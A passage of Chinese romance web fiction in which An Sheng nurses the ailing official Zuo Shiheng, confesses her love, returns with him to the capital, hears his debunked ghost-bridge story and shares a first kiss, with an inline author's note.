早上胡太医过来给左时珩号了号脉,见他精神状态好转不少,难得点了点头,又问了安声他昨晚睡眠如何。 安声想了想,回答:“满打满算,一共睡了不到四个时辰,原先躺着的,后来一下咳的很严重,我就让他靠坐着,不过那会儿人没有完全清醒,慢慢又睡着了,后半夜倒没怎么咳,直到天蒙蒙亮才又有些不舒服。” 胡太医沉吟:“不清醒大概是吃了药的缘故,能睡下就是好事,只是咳疾到底没好,躺着难免难受,若能靠着休息,自是可行的。我待会儿让他们照例送点清粥过来,待吃下半个时辰左右再喝药,看看还吐不吐,若是不吐,便能好转了。” 他瞧了眼左时珩床上的两床被子,又嘱咐安声:“夫人夜间还请辛苦多盯着些,左大人病了几年,原就孱弱,如今再不珍重养生,继续作死,便是华佗在世也无能为力。不过这话我也并非第一次说,嘴皮都说破了也无用,大抵只有夫人的话管用了。” 左时珩低咳了声,似有些尴尬。 安声认真应下,又问了些细节,等看着左时珩喝完粥,也吃完了药,便去厨房端了碗糖水来。 “没有蜜饯,将就下,清清口。” 左时珩接过,道了声谢,待喝完,想问许久的话才终于问出了口:“安声,昨夜……你一直在这里吗?” 安声懒散地坐在脚榻上,在床边趴下,打了个呵欠:“昨夜我就到了,不在这里还能在哪里。” 她发髻早就乱了,索性去了钗环披下来,穆诗没有在她身边,她不太会弄古代的头发。 因屋内发潮阴凉,她上午让驿馆送了个炭盆来,烤得屋里暖暖的,她奔波到嘉城,又几乎一夜未睡,这会儿吃了饭,一趴下就开始犯困。 她闭上眼,呼吸清浅,发丝幽香。 左时珩垂眸看她,眼底无限柔情,长睫微微发颤。 原来昨夜……不是梦。 是他的妻子真的来到他身边,陪着他,拥着他,和从前无数个夜晚一样。 她的体温与味道,他绝不会认错,即便在梦里亦是如此。 何况,这次不是梦。 他低低道:“安声,谢谢。” 安声“嗯”了声,将睡未睡。 “安声。”他轻声唤她,“到床上睡吧。” 安声掀了掀睫:“那你呢?” 他笑:“我去外间即可。” 安声复合眼,将他被角按住:“开什么玩笑……就这样别动,让我眯一会儿就好。” 她大约是倦极了,很快就沉沉睡去。 左时珩侧身静静望着她睡颜,不敢惊醒她,只是爱意奔腾,实在忍不住,悄悄俯身在她发顶落了个吻。 窗外风似乎停了,天光大亮,透入室内,将简陋的陈设照得明亮而清晰,镀了一层淡淡的暖色。 炭火静燃,热意升起,仿佛将去的春日在附近驻足,又或是未至的夏季已提前来到。 左时珩靠在叠好的软被上,被暖意笼着,连日来首次如此身心愉悦。 他压住喉骨,将发痒的感觉忍了回去,随后慢慢倚向床头,指尖停留在安声的手边一寸处,在她身侧,也渐渐涌起睡意。 趴着睡不太舒服,安声睡得蒙了,似乎做了个梦,梦里她回到学生时代,趴在窗边课桌上午睡。 教室内静悄悄的,只有头顶风扇呼呼转着,发出白噪音。 她半睁开眼望向窗外,绿意盎然的冬青树晃着细碎的阳光,枝叶掩映处偶尔响起蝉鸣,一切那么催人昏昏欲睡。 她转了个头,趴向另一边,仍觉得不舒服,于是睁开眼,却发现自己是在床边。 唔……她恍惚记起今天好像是周末,不用上学,她午后趴在床边看书不小心睡着了。 于是放下心来,再次闭上眼,凭着本能爬上床,钻到被子里,抱着她香香的枕头躺好,总算睡得安心起来。 左时珩缓缓掀眸,难掩灼热,气息也逐渐沉重急促,以至于有些克制不住。 他毕竟是男人,他们又是夫妻。 他们曾经无数次耳鬓厮磨,交颈而眠。 他挚爱她的一切,她的体温,气息,甚至每一缕拂过肌肤的发丝都能让他有所反应,这些都是夫妻间理所应当的日常,非自身所能掌控。 可是—— 左时珩仰倒在枕上,望着床帐,被一股无名火灼得浑身难受。 而安声却一无所知,沉浸在梦里,又往他身上缠了缠,发出几声呓语。《 》 22、言情 不知是太舒服还是太累,安声一觉睡到傍晚才醒。 醒来时,她身上盖着柔软暖和的被子,怀里抱着个软枕。 炭盆里的炭被取走了几快,让房间里的温度处于一个刚好合适的状态,温暖如春。 她懵了会儿,才接受自己睡在左时珩的床上这个事实。 那……左时珩呢? 她穿鞋下了床往外走,果在屏风后的软榻上见到他,他穿着中衣盖着毯子,慵懒地斜倚着,手里拿着本书在看。 他一头墨发也散了下来,似乎还残余潮意。 安声过来时,他大约未注意到,直到她说话方才抬起头:“醒了?” 又坐正了,轻笑问道:“还想睡么?怎么抱着枕头?” “诶?”安声这才发现自己忘了把枕头放下,便讪笑道,“我睡太久睡傻了。” “来坐会儿吗?”左时珩拍了拍软榻的空处,顺滑如绸缎的发垂在身侧,轻轻摆动。 安声应声坐到他身边,也没放下枕头,而是抱着将脑袋贴上去,依旧有些懒懒的。 “左时珩,我怎么睡到床上去了?” 他低笑两声,才道:“你自己爬上去的。” “那我是不是把你挤下去了?” “没有,那时我已不在床上,去处理了些公务。” “又处理公务,你有那么多公务要处理吗?下次病没好,不许处理公务了。” 这样的话和语气未免有些太“家属”了。 安声刚睡醒,脑袋还有些钝钝的,说完才回过味,有些不好意思,却又不想心虚地过于明显,便将脸默默埋在枕头上。 她听见左时珩笑了声,说:“好。” 又过了片刻,他的声音里添了几分揶揄:“我想,枕头可能喘不过气了,饶了它吧。” 安声忍不住笑,转了点脸,只露出一只眼睛看他。 “我还说来照顾你的,结果自己一觉睡到现在……左时珩,你下午睡了吗?有没有再吐?还咳得厉害吗?” 左时珩一一答了。 “睡了小会儿,吃过药后并未再吐,也未怎么咳嗽。” 说罢他又补充道:“之前吃了药便吐,大约是胡太医开的方子太苦,非常人所能下咽,嘴里一直是苦的,连喝水亦是苦的。” 安声顺着他话:“但因为我准备了一碗糖水,所以一切变得好起来了?” 左时珩神色认真:“嗯,我想是的。” 安声又忍不住把脸埋在枕头里,笑得双肩颤抖。 “左时珩,你的人生真是……好辛苦哦。” 左时珩扬起唇角,却故意叹道:“是啊,很辛苦啊。” 安声抬起头注视他,杏眼明眸,亮晶晶的,留着未尽的笑。 “那……有我在,会好一点吗?” 左时珩微怔,随即笑着点头:“嗯。” “喔,这样……”安声晃了晃脚,心跳不受控地悄悄加快。 夕阳斜落,透过门上的雕花在屋内拉长,她低头,去看地面那道金色光栅。 屋内的温度似乎又升高了些。 安声双颊隐约发烫。 有些话她在嘴边转了几个来回,却临阵退缩,开口剩下一般的闲聊。 “明天应该不会下雨了。” “嗯,下午就放晴了。” “晚上还是要好好吃药,我再给你准备甜点好吗?” “好。” 安声捂了下脸:“炭盆可以撤了,有点热。”她飞快看了眼左时珩,又收回视线:“我忘了问,你头发怎么是湿的?” 他亦挪走视线:“卧床几日,身上不洁净,便去洗了个澡。” “在我睡觉的时候吗?” “……嗯。”左时珩拿起书本,苍白的脸氤上暖色,“炭盆的确可以撤了,是有些热。” - 安声这次来的匆忙,只带了几件换洗衣裳,但穆管家办事可靠高效,不出一日就按安声吩咐置备了许多东西,并为回程做起准备。 晚上左时珩饭与药都吃了一半,实在有些不太舒服,安声便没勉强,去问了胡太医,太医说少吃点无妨,只要不吐即可,且待晚上再看,若是饿了想吃,可以再用点宵夜,最重要的是休息,切不可继续操劳了。 安声都记下,并安排人准备着。 到了夜间,她用穆管家买来的香炉,点了根安神香,香气袅袅,渐渐弥漫,驱逐着清苦的药味。 左时珩靠在床头,视线一直追随着她。 安声去桌上收拾了笔墨纸砚,全锁进箱子里,瞥了左时珩一眼。 “我问过胡太医了,他说皇帝让你好好养病,不要管工作,既然大老板都发话了,那我就替他坚决执行了。” 左时珩笑了声:“好。” “书可以给你留一本,你在驿馆闲来解闷,但我们回去的时候,你不能在路上看。” “好。” 安声想了想,一时也想不到还有什么,就去倒了杯温水过来:“放了一点点蜂蜜,喝完可以睡觉了。” 左时珩笑笑,饮罢一口,果然微微甜。 是她独属的表达方式,她若说一点点,当真就是少之又少。 安声将叠起的被子挪到床尾,叠了几件衣服在枕下,将枕垫高了些,扶着他躺下。 “现下还早,如果一觉睡到天亮最好,要是半夜醒来,渴了饿了,或者哪里不舒服了,一定要喊我,好吗?” 左时珩靠着枕上望着她,眼底尽是柔柔笑意:“嗯,好。” “别答应的好听,到时候又怕我吵醒我什么的,自己在这儿硬抗,你要知道,我就是来照顾你的,我答应了岁岁和阿序,接你回家,他们要的是一个健健康康的爹爹,而不是病恹恹的左大人。” 安声说着,伸手将他凌乱的额发轻轻拨开,做完才一僵,不动声色地收回手,语速加快:“你好好睡,睡不着也闭眼休息会儿,我先出去了。” 她快步离开。 左时珩望着她背影,久久不舍收回目光,便又落在屏风上,隔着一扇屏风,那儿的烛光将她纤细窈窕的影子映在其上,仿佛画中神女。 安声在榻上也睡不着。 她辗转反侧,千头万绪,理也理不清。 于是她从头开始捋了一遍,起于她辞职后的那场车祸,然后云水山,遇左时珩,再随他回家,至如今身在嘉城。 平心而论,她在左宅待的最长,因为没有手机网络,也不出门,岁月轻缓漫长,令她似乎对时间失去实感,这段日子,左时珩待她太好太好,她如今细想,脑子里竟一时都是他的身影。 她不得不承认,她从未享受过如此炽烈的关心,何况在这个本就陌生而奇怪的世界。 她在左时珩身边时,会完全安心与放松,也因此,她越难隐藏自己对他的依赖。 她不是个怯于表达的人,但她对一切发生的真相尚不清楚,也从未放弃过回到现代的想法,这两点顾虑让她又无法向他坦承心意。 可左时珩实在极好,在习惯性享受他的好时,她愈发有回应的冲动,只每次都被强压了回去,这令她并不舒服。 无论如何,她是个情感充沛且细腻的人,不喜欢不清不楚不明不白的关系,这会让两人之间的边界感变得模糊。 至少她确信,活了二十四年,她还从未对谁如此心动过。 以后,大概也很难有了。 里间传来一声压抑的低咳,又很快安静下来。 安声不禁坐起望向屏风,心湖泛起阵阵涟漪。 那句石上预言再次浮现在眼前,如雨落下,于是涟漪翻涌成浪,将她瞬时淹没。 她蓦然生出一股冲动,径直奔去里间。 “左时珩,我有话对你说。” 原怕她担心而要装睡的左大人,闻言睁开眼,眸中一片温和清明。 他坐起来,认真且耐心:“好,我听着。” 安声深吸一口气,心道安和九年无论会发生何事,她既在此刻开了口,那便不必再扭捏逃避,未来未有定数,至少现在不会留下遗憾。 “左时珩,你知道我不是你的妻子,对吧?” 左时珩蹙了蹙眉,并未回答。 安声便又问:“那你对我好,是将我当作她的替身吗?” “当然不是,我……”他有些焦急,想要解释。 安声阻止了他,继续说下去。 “我与你的妻子,同名同姓,容貌相似,拥有一样的口味与喜好,甚至是字迹,我想,世上不该不存在两个一模一样的人,况且你深爱她,又岂会认错了人?” “不过,我的确并不是她,我二十四岁,不可能已婚十年且育有两个九岁的孩子,我之前的人生记忆也十分完整,所以,对此我有一些别的猜测,但并不一定是真相,以后我会慢慢弄清楚。” 烛光从她背后映照,她每一根发丝被勾勒成金色,眉眼却在夜色里若隐若现,神秘又神圣。 “安声,你……” “左时珩。” 安声走近,坐到床边,与他面对面,将每一寸神情在他面前暴露无遗。 “抛却以上种种,我还有一句话要说。” 她脸颊微红,话说嘴边还是忍不住羞涩,不过此次视线却并未移走,而是坚定地与他对视。 “我喜欢你。” 短短四字让她心跳如鼓,几乎要从胸腔跳出来冒烟了。 这是她人生中第一次告白,她曾设想过无数次会如何遇见她未来爱人,却怎么也想不到会是此情此景,这般奇妙缘分。 她的眼很美,很亮。 屋内烛火,窗外明月,皆在她面前黯然失色。 在她眸中,左时珩如见春日,是冰雪消融,是百花齐放,是繁星满天,是一切的一切,构成他的五脏六腑,三魂七魄。 是失去她后的一截朽木,重获生机,发出新芽。 他本该有万语千言要对她讲,却在此刻无声凝噎,化作了一片眼尾绯红。 “左时珩?” 再次听到她唤他名字时,他忽而落泪,轻笑着朝她伸出手。 “阿声,可以……再近些吗?” 他修长苍白的指骨微微颤抖,不如他声音那般温和从容。 触及左时珩的目光,安声所有紧张倏然落定,似有暖流自心间迸发,随血液蔓向全身。 她扑将过去,无所顾忌地用力抱住他,淡淡的安神香与草药的微苦下,是一枝清冷白梅。 没有动人情话,安声说:“左时珩,你这么好,一定长命百岁。”《 》 23-30 第23章 升温 烛火只留了里间窗边一盏,已是炬泪成堆,燃至末尾了。 这会儿是深夜,四下里安静得很,只偶尔能听见不知多远传来的一声犬吠。 安声依然睁大了眼,毫无睡意。 下午睡得太久了,这会儿她十分清醒,不但清醒,更是心潮澎湃,热血沸腾,浑身毛孔都在微微战栗。 就在一个多时辰前,她向左时珩告白了。 她竟然告白了。 她长这么大第一次告白。 那会儿之前她想了许多,但这个决定依然并非出于深思熟虑,而是以冲动为主,当时凭着一腔激情全说了,现在躺下来,躺在安静薄凉的黑暗里,她开始脚趾紧扣。 告白之后应该做什么…… 他们现在算是正式谈恋爱吗?谈恋爱一般都做什么?亲亲抱抱举高高,吃饭散步看电影?…… 安声翻了个身。 心想,明天早上能牵手吗? 她把自己蒙进被子里。 接吻……也可以吧…… 唉—— 安声一下掀开被子,风将发丝带的乱乱的,糊在脸上。 里间传来左时珩的轻声关切:“睡不着么?” “没有,我酝酿睡意呢,你快睡吧。” 安声将脑下枕头抽出来抱在怀里。 “无妨,我也睡不着。” 安声便问:“那你饿了吗?我有点饿了。” 他笑道:“嗯,饿了。” “那太好了,我一直叫他们厨房留了点炭火未熄,在锅上温着鲜笋排骨汤呢。”安声爬起来,“我去拿过来,你等我。” 她端着汤回来时,左时珩已披衣下床点了盏新的烛火,静坐在外间小桌旁等她。 “怎么起来了?可以在里面吃的。”安声跨进屋内。 左时珩从她手中接了托盘,牵她坐下,先舀了一碗给她,唇边噙笑:“在里面香味难以散去,只怕更睡不着了。” “这倒是。”安声被说服了,“那我们快吃,吃完可以饱饱去睡。” 这汤在灶上煨了许久,实在鲜香,安声食欲大动,左时珩原本没什么胃口的,也陪她吃了一碗。 安声问:“这顿可不用糖水蜜饯了吧?” 左时珩眉峰若蹙,语气低缓:“真的不用吗?” 不待安声回答,他便委曲求全似的:“好,那便不用吧。” 安声升起些奇异感。 似左时珩这样的人,原先最怕冒犯了她,麻烦了她,现在虽嘴上说着“不用”,却又仿佛意在索取别的。 有点像……撒娇。 她只怕会错了意,并未接话,而是将碗筷收拾了后倒了杯清茶给他:“真的该睡觉了左时珩,胡太医说你最需要的就是多休息。” 左时珩的反应也一切如常,柔声应了,便去床上躺下。 里间只剩微弱烛光,安声这里的是新点的,亮得很。 她原一个人怕黑,需要留灯,与左时珩共处一室时却不会,哪怕一丝月光也无,只要知晓他在,便好像格外安心。 她吹了蜡烛,抱着枕头躺下,调整了几次姿势,仍没有睡意。 她从小便有个习惯,睡觉喜欢抱着什么,小时候抱着枕头,长大后抱着玩偶。 在左宅时,岁岁与她一起,她便抱着软软糯糯的小姑娘,睡得也很舒坦。 下午她原是趴在床边睡的,不知怎么迷迷糊糊地就爬到了床上,做了什么梦她已记不清,只记得抱着个很舒服的大枕头,香香暖暖的。 安声捏了捏如今怀里的这个,感觉不对啊。 她留神听着里面的动静,悄无声息,左时珩大概已经睡着了。 她便起身,悄悄下床,借着那一点昏残烛光去了里面。 左时珩向外侧卧着,呼吸略发沉,模糊夜色下看不清脸色,但显然睡得并不太舒服。 安声在脚榻上坐下,趴在床边静静看他。 与安声相反,他睡觉很安静,不会乱动,更不会踢被子,只有不舒服时,才会潜意识地稍稍蜷缩或向里翻个身。 安声不知待了多久,灯花如豆,几近熄灭。 她虽无睡意,趴在这里,却觉得很温馨。 大约到了后半夜,左时珩的胃里难受起来,先是低咳不断,随即强忍着,撑着手坐起,一阵胸闷气短。 安声立即坐到床边,拍着他背,担心不已。 “想吐吗?” 左时珩似乎没想到她就在一旁,愣了下才清醒过来:“怎么还没睡?” 问完又是一阵急促的咳。 安声忙去倒了杯温水来:“下午睡久了,本来就不困,而且外面都是排骨香,我也睡不着。” 水润过嗓子,总算好受些,只还有些胸闷。 左时珩抚了抚心口,低哑笑道:“是我的错,不过那榻的确不如床舒服,还是到里面来睡吧。” 安声脸一下蹿红,所幸夜浓看不出来。 才表白的,两人就睡一起不太好吧,虽然她相信左时珩并不会做什么。 左时珩大约看破了她的窘迫,便解释:“我这会儿也睡够了,倒想透透气。” “才睡了多久,怎么能叫睡够了。” 安声将床尾的被子拿过来,放上枕头,扶他略靠着。 她想了下,将烛火与香炉都移出去,又拨开了道窗缝,让室内外空气流通。 她之前漏想了一点,左时珩咳疾未愈,除了不能吹风受凉外,空气也该保持清新通畅才对,无论蜡烛亦或熏香,燃烧后都有些看不见的浮尘飘着,自然惹人不适。 做完这些,她才又回到床边。 夜色更黑了,只有淡淡几点月华,什么也照不清,他们离得极近,也瞧不见彼此的神情。 “左时珩,睡不着的话,我给你讲故事吧,童话故事。” 他低笑,嗓音温润:“你在把我当做小孩吗?” 安声歪了歪脑袋,靠向他肩,将身体重量压在叠起的被子上。 “那怎么了,任何人都有权力做回小孩,八十岁也可以。只是许多人在长大后再没有得到过足够的关心和照顾,只能当一个很累的大人,所以大家会说不想长大呀。” 她将被角掖了掖,确保他盖好了,继续说:“因为有我的关心和照顾,你现在就可以当一个小孩。” 他笑:“好,那我现在就是一个小孩了。” 安声满意问:“小孩想听什么故事?” “什么都可以。” “什么都可以,那就鬼故事。” “……” 安声得逞地笑,不过到底没有真讲鬼故事,讲得是童话故事,她的童话故事与别人不同,她喜欢将很多篇杂糅起来,天马行空却又逻辑通顺地乱说。 静谧的夜晚,只有安声轻柔的声音时而响起:“……白雪公主终于长出了漂亮的尾巴,然后……” 她有意停顿,身侧的人气息悠长清浅,似乎已经熟睡。 “左时珩。”她低低唤了声。 他没有回应,却出于本能般的,将她自然揽入怀中,安抚似的拍了拍她。 怕惊醒他,安声并未挣扎,又或许也不想挣扎。 她便脱了鞋,合衣靠在他怀里,听着他平稳的心跳,渐渐起了睡意。 迷迷糊糊之际,她下意识抱住他,心想,这个手感好像对了。 …… 他们在嘉城歇了五六日,左时珩的精神愈发好起来,身体也是,只是劳累心伤久矣,非一日之功,还须日后慢慢将养。 胡太医先回了京,安声与左时珩则迟一日出发。 穆管家依安声吩咐将马车里铺的厚厚的,方便人躺或靠,不过一路颠簸,马车终归说不上有多舒适,于是安声便要求缓行,两日不到的路,用了三日才到。 赶路时,安声便让左时珩靠着她休息,若是颠得难受,就停下来歇一歇再走。 左时珩状态倒还不错,一路并无意外,路过钦鹤镇住一夜时,他还陪安声逛了逛,带她去吃了一家味道不错的点心铺子。 归京后,左时珩即刻进宫复命。 岁岁提前几日就回了家等着,见他们回来高兴地不得了,不过扑进安声怀里却又忍不住掉泪。 安抚了岁岁,安声又亲去松下书院一趟见了左序,将左时珩的情况仔细告知,让他放心。 左序听后从屋里抱出了一坛酒:“娘亲,这个是我师父教我酿制的药酒,活血化瘀,外服内用皆可。” 安声惊讶:“学的这么快呢?太厉害了吧!” 左序得了夸奖有些骄傲,却努力作出一副谦虚表情:“是师父教得好。” 又道:“待我学好了,便能时刻给爹爹调理身体,再不至于什么也做不了了。” 安声真是感叹左时珩这一双儿女的懂事,又问他是如何想起来要为爹爹学医的。 左序迟疑半晌,才反问她:“娘亲当真一点也不记得吗?” “记得什么?” “我小时候,娘亲耳提面命,要我去学医术将来照顾爹爹,因为爹爹只在乎娘亲和我们,旁人的话是不听的。” 娘亲走后,他亲眼见爹爹如何消瘦下去,直至一副孱弱病骨,他想,若非他们兄妹年纪小,且爹爹坚信娘亲会在安和九年回家,他们只怕要失去双亲了。 不过娘亲如今已然归家,他也坚信,爹爹会慢慢好起来的。 安声抱了药酒回去,为阿序这话思忖。 在她之前的那个“安声”要阿序学医照料左时珩,难道亦是为了石上那句预言? 她若消失在安和四年,那到底是如何得知安和九年将要发生的事,以至于未雨绸缪呢。 那句话中的几个关键词在她眼前闪烁。 “第十一次”“又是”“重来”…… 难道,有一个“安声”来过安和九年,经历了一些事,却又不知何故消失,消失后留下了什么线索,不对,不对…… 她思维开始混沌,又想起那七个几乎一模一样的石上浅坑。 不思前因后果,单论这句话,既是重来了十一次,为何只有七次痕迹? 她仰靠在马车壁上,觉得头疼- 左时珩虽晚了许久才回,奏疏却已早早递了上去,将宜州堤毁一事的前因后果,处理方式,修缮预算等皆呈奏得清晰明白,皇帝阅罢当即让户部先拨了款去,依左时珩在表中所奏,勒令当地相关衙门尽快照办。 皇帝原为此事极其震怒,比前次严重得多,大抵少不了许多官员落马获罪,不过左时珩一力担责,陈清原委后,皇帝便渐渐冷静下来,除罚了几位主要官员的俸外,倒未再严厉处置。 这次左时珩一回京,他便即刻召他进了宫,在御书房中君臣二人又将此事详细商议了遍。 左时珩的意思是,此事并非贪腐造成,乃是当地河道官员不通水利,一般情况尚可应付,事况复杂便难处理得当,即便为此罢黜官职,斩了头颅,依然无法解决问题。 而此类情况也非个例,开朝以来,大大小小近乎十数次,大到黄河决口,海塘塌毁,小到河堤开裂,蓄洪淹田。 他恳切地说,当务之急,是为朝廷培养相关人才,专业位置,须得有才能的人来做,绝不能只看功名与背景,必要时可破格提拔。 他又呈上一份名单,上面列了些名字,这些都是底层官员或小吏,以及负责河堤施工的工头,工匠,役夫等。 他们或有几十年的经验,或熟知当地地形,能在其中切中要害,奈何人微言轻,起不到关键作用。 而他这次实地考察、监督,询问了负责修堤的至少有百余人,是否有真才实干,几句话便能看出来,而这些人往往会在事故后的责罚中,承担最主要的后果,甚至家破人亡。 皇帝听左时珩说完,不禁认真反思,欲召吏部工部共同商议。 离开前,皇帝走下御案,亲切拍他的肩,给予极高评价:“若无左卿,宜州休矣。” 又关切他身体如何,要他好生保养,并说此事后,要重重赏他,问他想要什么。 左时珩不卑不亢地道了谢,然后朝皇帝深深一揖:“臣确有一赏想要。” …… 出宫到家,才进风芜院,左时珩便见李妈妈抱着他的铺盖去了东厢房,他不由愣了下,看向卧房方向,正迎上安声略窘迫的目光。 “那个……”她开口,原本想好的理由,忽然又说不出来了。 似乎无论怎样的话,都掩不住她的私心。 她就是很喜欢左时珩,想要和他共处一室。 况且在嘉城,在钦鹤镇,他们已经很多次一个房间了。 岁岁抱着她的毛绒小狗布偶出来,左看一眼安声,右看一眼左时珩,然后上前握住爹爹的手,甜甜地笑:“爹爹,我在国公府不常能回家,如今跟着文先生学琴,更要用功练习,我不在时,娘亲没人陪着,会怕黑睡不好,所以我把娘亲委托给爹爹照顾了,爹爹一定要每晚陪着娘亲,别让她害怕,好吗?” 左时珩眨了眨眼,望向安声。 安声低头捂脸,心虚:“不是我教的……咳,不过也是实话。” 左时珩便俯身摸摸女儿的头,很是温柔。 “好,爹爹答应你,一定保护好娘亲。” 岁岁趁机抱住爹爹,在他耳畔小声道:“我和哥哥还会继续帮爹爹的。” 安声:“哎,怎么当着我面说悄悄话?” 左时珩便忍不住笑,向她走去,将她轻轻拥入怀里,柔声道:“岁岁说,她很爱你。” 安声心头一暖,顷刻化成了春水。 她在左时珩胸口亲昵地蹭蹭,说:“我也是。” …… 说来,无论嘉城还是钦鹤镇,他们虽是一个房间,也有一张床的时候,到底不是正经睡在一起。 当天晚上,安声还是有些不习惯,她洗完澡,躺到床上,裹着被子,听着净室里的水声,心跳的有些快。 不过还好是左时珩,他温和从容,似乎能周全万事,亦能及时捕捉她的情绪,替她疏导,缓解。 譬如他沐了浴,并不直接躺到床上,而是捧卷坐到一旁。分明是怕安声紧张,只说是自己习惯睡前看会儿书。 安声也知是他体贴,便问他在看什么,他说是鬼故事大集,安声便笑出声,紧张消弭了大半。 她评价:“职场上一本正经的左大人其实一点也不正经。” 左时珩便合起书,漫不经心地敲了下手心。 “这书里的故事大多胡编乱造,的确不正经,不过若说怪力乱神之事,我倒的确见过。” “啊?真的吗?”安声立即来了兴趣,抱着被子坐起来。 她向来是又怕又爱听这些故事的人,以前上大学躲在被窝里看恐怖片,一晚上没敢上厕所,愣是憋到早上,等室友起来上早课。 左时珩点头,说起一件他三年前在敦川发生的事儿。 他说敦川有座桥,大约于四十年前建造,那时州府监管不到,乡下民风剽悍,时有流血冲突,有次更甚,死伤过百,官府干预时,那些人便将死者或重伤者都抛入河中,沉入桥底。 后来那座桥便经常出事,例如一个人在桥上走的好好的,却会突然往下跳,被救上来后,说是听见有人在下面喊他的名字,他不知怎的,就想往那儿走。 还有人深夜看见过密密麻麻的人影徘徊在桥上,仿佛迷了路,当地人便说,是枉死的水鬼在抓交替。 总之出事多了后,便又传至官府,官府派人来查,但这种事捕风捉影,也查不出什么,便就叫附近几个村子找僧道做场法事罢了。 法事做了几场,却不管用,直到据说是某位隐士高人出山,在桥两侧拉了墨线,挂了十几道布符,才消停下来。 不过风吹雨打,没几年,这些符便也坏得差不多了,于是又偶有事故发生,一年里总要死几个人,所以当地人在阴天或夜里,是绝不敢独自过桥的。 左时珩去敦川监察河堤修造时,听闻了此事,特意在当地官员陪同下去了一趟,那是一座联拱石桥,虽有四十年了,桥身依旧算是坚固。 白日里他们过桥几趟,并无异常,到了晚间,几位官员是万万不敢再去的,左时珩并未强求。 “你自己一个人去了?”安声听得入神。 “嗯。”左时珩说,“那日我们暂住在附近村落,半夜我独自前往,正好是十六,天上明月高悬,路况不错,我到了那儿,上了桥,慢慢行至中间,忽听身后有人唤我一声‘左大人’,我原以为是随行官员来寻我,谁知回了头却没人。” 安声将露在外面的半个脚悄悄缩了回去。 烛火摇曳,左时珩坐在那儿,身姿卓然。 他嗓音低沉好听,娓娓道来时,实在让人聚精会神,不舍得将目光从他脸上移开,更不舍得漏听一个字。 “然后……” 他停顿,看向安声,“要不明日再说?” 安声有些害怕,却又想听,便主动向里让让:“你坐过来说吧,别离我那么远。” 左时珩莞尔,从善如流地坐到床上。 安声将被子掀开,也给他盖上,缩在他边上,催促:“然后呢?真的有鬼吗?” 左时珩便顺势伸展胳膊将她抱进怀里,用被子将两人裹好。 他的妻子沉浸在故事里,已全然顾不得害羞了,娇小可爱地窝在他胸膛,或许是觉得很有安全感,便比刚才更胆大了。 “说不定真有水鬼,我以前也听我外婆说过这种故事。” 左时珩低头吻她发顶,笑道:“没有,的确是随行官员,他追的急,失足掉草丛里去了,衣带被杂草勾住,挣脱不开,以为有鬼,便在那害怕地喊我。” 安声扑哧一声:“原来是这样,那你那晚见到鬼了吗?” “自然没有,不过我也弄清楚了为何那里事故频发。” “不是水鬼索命吗?” “不是。” “那是为什么?” 左时珩听得她语气里有几分失去猎奇的遗憾,不由笑了笑,与她解释了原由。 是因那座石桥桥身太重,地基不稳,四十年来,发生了一点倾斜,不过很细微,再加上两侧地形复杂,水流湍急,很难被注意到。 加上桥两侧护栏低矮,颜色剥落,若光线不好,人注意力不集中的话,便容易无意识歪至一侧,在护栏边趔趄跌下,若逢雨天,地面湿滑,就更容易出事了。 而白日光线充足,四周有清晰对照物,便极少会发生这样的事,当初那位隐士高人加的墨线与符,本也是这个原理,是那些黄色符箓在夜里较为显眼,让人以为是“镇住了恶鬼”。 他与当地官员说了此事,当地便在桥上加高了护栏,刷了漆,那座桥这三年来也再未出过事了。 “原来是走近科学……” 安声后面一段听得犯困,在他怀里转了个身,抱着他腰,抵在他胸口睡着了。 左时珩垂眸望着她,眼底一片温情。 半晌,他捧起安声的脸轻轻吻了吻。 终于不再是,只敢偷偷亲吻她的头发了。 他想,上天将他的妻子还给他,若是一定要他为此付出什么代价的话,什么都可以- 这次左时珩归京后,不再像之前那般忙碌了,除去例行朝会与工部点卯,大多时候他都能陪安声吃饭,练字。 转眼过了半月,天渐热起来,园里绿意盎然。 这日,安声正在亭中喂鱼,穆管家匆匆来找她,说朝廷来人传旨,要设案焚香恭迎。 正门大开,全府下人皆在大门外跪迎,安声则身着礼服,描眉点翠,高挽发髻,庄重地在门口候着。 传旨太监及礼部官员一行仪仗颇大,接了人入前厅庭院,院中面南背北设一香案,案上铺了黄布,放有香炉,蜡烛,瓜果贡品等。 天子使者将圣旨置于香案上,宣了旨意,奉天承运皇帝敕封安声为二品诰命夫人。 旨意写的繁复华丽,安声都没听明白,只听出个结果,总之全是好话,才要细想,便听见传旨太监道了句“钦此”。 她按照规矩叩首谢恩,双手接过圣旨,云里雾里地完成了诰命敕封。 待一切事毕,安声才回过味儿来。 这大概是左时珩为她求的一个恩赏,只是提前并未与她说过。 晚间左时珩从衙署归家,安声立即捉了他问。 他坐在书案后,伸手将安声揽坐在腿上,笑道:“不是什么大事,你见义勇为,做好事不留名,这是朝廷理应给予你的嘉奖。” 安声原不在意这里的身份荣誉,忽听他这样解释,整个人都怔了怔,伏到他肩上:“左时珩,你怎么这么好啊……” 原来那日在成国公府邀兰阁中,她随口的一句话他竟也放在了心上,然后在今日为她做到了。 或许那日他就在思虑此事,只是从未与她提过,她自己都要忘了,却在今日得到惊喜,这份心意对她来说,比诰命本身还要珍贵的多。 左时珩低笑,揉揉她脑袋:“这就算好啊?阿声也太不贪心了。” 他抱她坐好,从一叠公文中抽出一张放到桌上。 “这是我已写好的《谢恩表》,后日帝后将召我们一同入宫谢恩,明日礼部会将命妇朝服送来。” 安声期待问:“我会见到你们的皇帝和皇后吗?” 左时珩含笑颔首:“嗯,会紧张吗?” “和你一起就不会。” “好。” 左时珩笑了笑,在她手臂上轻抚:“好了,不早了,去睡吧,我也很快就来,至多不过半个时辰。” 安声坐在他怀里不动,忽而转头盯着他:“左时珩。” 左时珩不解:“嗯?” 安声双颊迅速泛起红晕,不过一双杏眼水盈盈的,十分动人。 “我要亲你。”—— 作者有话说:拼尽全部力气来不及写到万字……欠下的明天会还……[求你了] 感谢订阅,记得留言,发红包哦[撒花][撒花] 第24章 寻常 安声从未谈过恋爱,连告白都是第一次,遑论接吻。 她说完后,才开始思考接吻到底怎么接,但又因被左时珩笑意盈盈地望着,一时紧张羞赧得大脑空白,连思考也不能了。 但可恶的左时珩,却在此时含笑不语,仿佛只是期待着她接下来要对他做什么。 安声笨拙地捧起他脸,慢慢凑近,还未靠近就先已闭上了眼,睫毛蝶翼般地颤着,连呼吸都忘了。 左时珩却睁着眼,无比爱怜地望着自己可爱的妻子,温柔几乎从眼底溢出来。 直到那温软轻轻贴在唇上,他才垂下眼睫,收揽手臂,宽大的手抚在她腰间摩挲。 